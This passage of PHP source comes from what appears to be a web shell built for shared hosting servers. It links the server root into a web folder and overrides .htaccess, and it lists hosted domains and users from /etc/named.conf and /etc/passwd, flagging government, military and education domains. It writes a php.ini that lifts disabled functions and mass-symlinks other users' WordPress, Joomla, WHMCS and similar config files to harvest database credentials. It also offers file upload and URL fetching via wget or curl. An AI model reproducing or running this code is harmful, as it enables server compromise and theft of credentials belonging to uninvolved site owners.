  AddType Text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$write =@fopen ('sym/.htaccess','w');
fwrite($write ,$htaccess);
@Symlink('/','sym/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'><b>[-] Can't Access This File On Server -> [ /etc/named.conf ]</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='silver' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>Symlink </td>";
Foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@Symlink('/','sym/root');
$name   = $string[1][0];
$iran   = '\.ir';
$israel = '\.il';
$indo   = '\.id';
$sg12   = '\.sg';
$edu    = '\.edu';
$gov    = '\.gov';
$gose   = '\.go';
$gober  = '\.gob';
$mil1   = '\.mil';
$mil2   = '\.mi';
$malay	= '\.my';
$china	= '\.cn';
$japan	= '\.jp';
$austr	= '\.au';
$porn	= '\.xxx';
$as		= '\.uk';
$calfn	= '\.ca';

if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; Text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>

<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>

<td>
'.$UID['name']."
</td>

<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>

</tr></div> ";
flush();
}
}
}
}

echo "</center></table>";

}

elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&amp;x=domain" method="post">

<?php

echo '<br><br><div class=content>';

$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("<center><b>[-] Can't Read  -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
Foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));

		echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
		}
	echo "</table>";
	}

echo '</div>';
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'conkill'))
{
?>

<Form action="?y=<?php echo $pwd; ?>&amp;x=conkill" method="post">
<p>&nbsp;</p>
<html> <head> <center><body bgcolor=black> <td> <form method=post><input class="inputzbut" type=submit name=ini value="Use to Generate PHP.ini" /></form> <br><br>
<form method=post><input type=submit class="inputzbut" name="usre" value="Use to Extract Username" /></form></td>
	
	<?php
	if(isset($_POST['ini']))
	{
		
		$r=fopen('php.ini','w');
		$rr=" disbale_functions=none ";
		fwrite($r,$rr);
		$link="<a href=php.ini><font color=silver size=2 face=\"Handlee\"><u>Success, Click Here!</u></font></a>";
		echo $link;
		
		}
	
	
	
	?>
	
	<?php
	if(isset($_POST['usre'])){
		?><form method=post>
	<Textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."
";
}

?></Textarea><br><br>
	<input type=submit class="inputzbut" name=su value="Let's Start" /></form>
	<?php } ?>
	<?php
	error_reporting(0);
	echo "<font color=red size=2 face=\"Handlee\">";
	if(isset($_POST['su']))
	{
	mkdir('tamvan',0777);
$rr  = " Options all 
 DirectoryIndex Sux.html 
 AddType Text/plain .php 
 AddHandler Server-parsed .php 
  AddType Text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$g = fopen('tamvan/.htaccess','w');
fwrite($g,$rr);
$tamvan = symlink("/","tamvan/root");
		    $rt="<a href=tamvan/root><font color=silver size=3 face=\"Handlee\">Symlink<br></font></a>";
        echo "Successfully, Check Link Given Below For / Folder Symlink <br><u>$rt</u>";
		
		$dir=mkdir('tamvan',0777);
		$r  = " Options all 
 DirectoryIndex Sux.html 
 AddType Text/plain .php 
 AddHandler Server-parsed .php 
  AddType Text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
        $f = fopen('tamvan/.htaccess','w');
   
        fwrite($f,$r);
        $consym="<a href=tamvan/><font color=silver size=3 face=\"Handlee\">Configuration Files</font></a>";
       	echo "<br>The Link Given Below For Configuration File Symlink<br><u><font color=red size=2 face=\"Handlee\">$consym</font></u><br><br>";
       	
       		$usr=explode("
",$_POST['user']);
       	$configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
		foreach($usr as $uss )
		{
			$us=trim($uss);
						
			foreach($configuration as $c)
			{
			 $rs="/home/".$us."/public_html/".$c;
			 $r="tamvan/".$us." .. ".$c;
			 symlink($rs,$r);
			
		}
			
			}
		
		
		}

		
?>

<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
if(isset($_POST['uploadcomp'])){
	if(is_uploaded_file($_FILES['file']['tmp_name'])){
		$path = magicboom($_POST['path']);
		$fname = $_FILES['file']['name'];
		$tmp_name = $_FILES['file']['tmp_name'];
		$pindah = $path.$fname;
		$stat = @move_uploaded_file($tmp_name,$pindah);
		if ($stat) {
			$msg = "File Uploaded To $pindah";
		}
		else $msg = "Failed To Upload $fname";
	}
	else $msg = "Failed To Upload $fname";
}
elseif(isset($_POST['uploadURL'])){
	$pilihan = trim($_POST['pilihan']);
	$wURL = trim($_POST['wURL']);
	$path = magicboom($_POST['path']);
	$namafile = Download($pilihan,$wURL);
	$pindah = $path.$namafile;
	if(is_file($pindah)) {
		$msg = "File Uploaded To $pindah";
	}
	else $msg = "Failed To Upload $namafile";

}
?>
<Form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/Form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<?php

if($_POST['go'])
{
	$updir = $_POST['updir'];
	$updir = str_replace("\","\",$updir);
	$updir = str_replace("//","/",$updir);
	
	$nbr_uploaded =0;
	$files_uploded = array();
	$path= '';
	$target_path= $path . basename($_FILES['upfile']['name'][$i]);
	For ($i = 0; $i < count($_FILES['upfile']['name']); $i++)
	{
		if($_FILES['upfile']['name'][$i] != '')
		{
			move_uploaded_file($_FILES['upfile']['tmp_name'][$i], $target_path . $_FILES['upfile']['name'][$i]);
			$files_uploded[] = $_FILES['upfile']['name'][$i];
			$nbr_uploaded++;
			echo "<br /> <center> <font face='Handlee' color='red'> "
			.basename($_FILES['upfile']['name'][$i])
			."</font><font face='Handlee' color='silver'> Was Uploaded Successfully </center></font>";
		}
		else "<br /> Sorry ".basename($_FILES['upfile']['name'][$i])."  Can't Be Upload :( !";
	}
} 
?><center> <br> <br>
<Form action="" method="post" enctype="multipart/Form-data" name="uploader" >
<Form enctype="multipart/Form-data" method="POST">
<center><input type='file' name='upfile[]'><br/></center>
<div id='uploadInput'></div>
<input type='hidden' name='updir' value=''/>
<br/>
<center><font color="black"> <input type='submit' class="inputzbut" value='Upload Files' name='go'></font> </p></td></center>
</Form>
<tr><td colspan="2"><input type="Text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> </tr> </table></Form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload From URL</th></tr>
<tr><td colspan="2"><Form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
<table><tr><td>URL</td><td><input class="inputz" type="Text" name="wURL" style="width:250px;" value="http://www.some-Code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="Text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="WWget">Wget</option>
<option value="WLynx">Lynx</option>
<option value="WFread">Fread</option>
<option value="WFetch">Fetch</option>
<option value="WLinks">Links</option>
<option value="Wget">GET</option>
<option value="wcURL">cURL</option>
</select></td><td colspan="2"><input type="submit" name="uploadURL" class="inputzbut" value="Go" style="width:246px;"></td></tr></Form></table></td>
</tr>
</table>
<div style="Text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }

//////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET['x']) && ($_GET['x'] == 'configs'))
{
?>

<Form action="?y=<?php echo $pwd; ?>&amp;x=configs" method="post">
<p>&nbsp;</p>
<center><Textarea cols="150" rows="17" name="passwd" class="inputzbut"></Textarea>
<p><input name="cat" class="inputzbut" size="100" value="Start" type="submit"></p></center>
</Form>

<?php

@error_reporting(0);
@set_time_limit(0);

if($_POST["cat"] && !$_POST["passwd"]==""){
echo "<center>Checking Functions ...<br>";
$functions=@ini_get("disable_functions");
if(eregi("symlink",$functions)){
die("<center><font color=red>Symlink Function is Disabled, You Can't Continue This Process !!</font>");
}
@mkdir("cahyo_configs", 0755);
@chdir("cahyo_configs");
$htaccess="
Options all
Options +Indexes
Options +FollowSymLinks
DirectoryIndex Sux.html
AddType Text/plain .php
AddHandler Server-parsed .php
AddType Text/plain .html
AddHandler txt .html
Require None 
Satisfy Any
";
file_put_contents(".htaccess",$htaccess,FILE_APPEnd);
$passwd=$_POST["passwd"];
$passwd=explode("
",$passwd);
Foreach($passwd as $pwd){
$pawd=explode(":",$pwd);
$user =$pawd[0];
// Now symlink Them
@symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
@symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
@symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
@symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
@symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
@symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
@symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
@symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
@symlink('/home/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
@symlink('/home/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
@symlink('/home/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images1.txt');
@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
@symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
@symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
@symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
@symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
@symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt'); 
@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt'); 
@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt'); 
@symlink('/home/'.$user.'/public_html/Settings.php',$user.'-smf.txt'); 
@symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt'); 
@symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt'); 
@symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt'); 
@symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
@symlink('/home/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt'); 
@symlink('/home/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
@symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
@symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
@symlink('/home/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
@symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images.txt');
@symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
@symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ; 
@symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
@symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
@symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
@symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
@symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-cart-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-buy-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-checkout-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-host-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/shop/configuration.php',$user.'-shop-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/shopping/configuration.php',$user.'-shopping-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/sale/configuration.php',$user.'-sale-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmc-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/supp/configuration.php',$user.'-supp-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-sucure-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-panel-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-submitticket-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-clients-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-billing-WHMCS.txt'); 
@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage-WHMCS.txt'); 
@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-whm-my-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-billings-WHMCS.txt') ; 
@symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.'-supports-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/auto/configuration.php',$user.'-auto-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/go/configuration.php',$user.'-go-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/'.$user.'/configuration.php',$user.'-USERNAME-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-bill-WHMCS.txt'); 
@symlink('/home/'.$user.'/public_html/payment/configuration.php',$user.'-payment-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/pay/configuration.php',$user.'-pay-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-purchase-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-clientarea-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/autobuy/configuration.php',$user.'-autobuy-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
@symlink('/home2/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
@symlink('/home2/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
@symlink('/home2/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
@symlink('/home2/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
@symlink('/home2/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
@symlink('/home2/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
@symlink('/home2/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
@symlink('/home2/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
@symlink('/home2/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
@symlink('/home2/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
@symlink('/home2/'.$user.'/public_html/config.php',$user.'-4images1.txt');
@symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
@symlink('/home2/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
@symlink('/home2/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
@symlink('/home2/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
@symlink('/home2/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home2/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home2/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home2/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home2/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home2/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home2/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home2/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
@symlink('/home2/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home2/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home2/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home2/'.$user.'/public_html/home2/wp-config.php',$user.'-wp-home2.txt');
@symlink('/home2/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
@symlink('/home2/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home2/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home2/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
@symlink('/home2/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home2/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home2/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home2/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home2/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home2/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home2/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home2/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home2/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home2/'.$user.'/public_html/home2/configuration.php',$user.'-joomla-home2.txt');
@symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home2/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
@symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
@symlink('/home2/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
@symlink('/home2/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
@symlink('/home2/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
@symlink('/home2/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
@symlink('/home2/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home2/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt'); 
@symlink('/home2/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt'); 
@symlink('/home2/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt'); 
@symlink('/home2/'.$user.'/public_html/Settings.php',$user.'-smf.txt'); 
@symlink('/home2/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt'); 
@symlink('/home2/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt'); 
@symlink('/home2/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt'); 
@symlink('/home2/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
@symlink('/home2/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt'); 
@symlink('/home2/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
@symlink('/home2/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
@symlink('/home2/'.$user.'/public_html/include/db.php',$user.'-7.txt');
@symlink('/home2/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
@symlink('/home2/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
@symlink('/home2/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
@symlink('/home2/'.$user.'/public_html/config.php',$user.'-4images.txt');
@symlink('/home2/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
@symlink('/home2/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ; 
@symlink('/home2/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
@symlink('/home2/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
@symlink('/home2/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
@symlink('/home2/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
@symlink('/home2/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
@symlink('/home2/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
@symlink('/home2/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
@symlink('/home2/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
@symlink('/home2/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
@symlink('/home2/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
@symlink('/home2/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
@symlink('/home2/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
@symlink('/home2/'.$user.'/public_html/cart/configuration.php',$user.'-cart-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting-WHMCS.txt');
@symlink('/home2/'.$user.'/public_html/buy/configuration.php',$user.'-buy-WHMCS.txt');
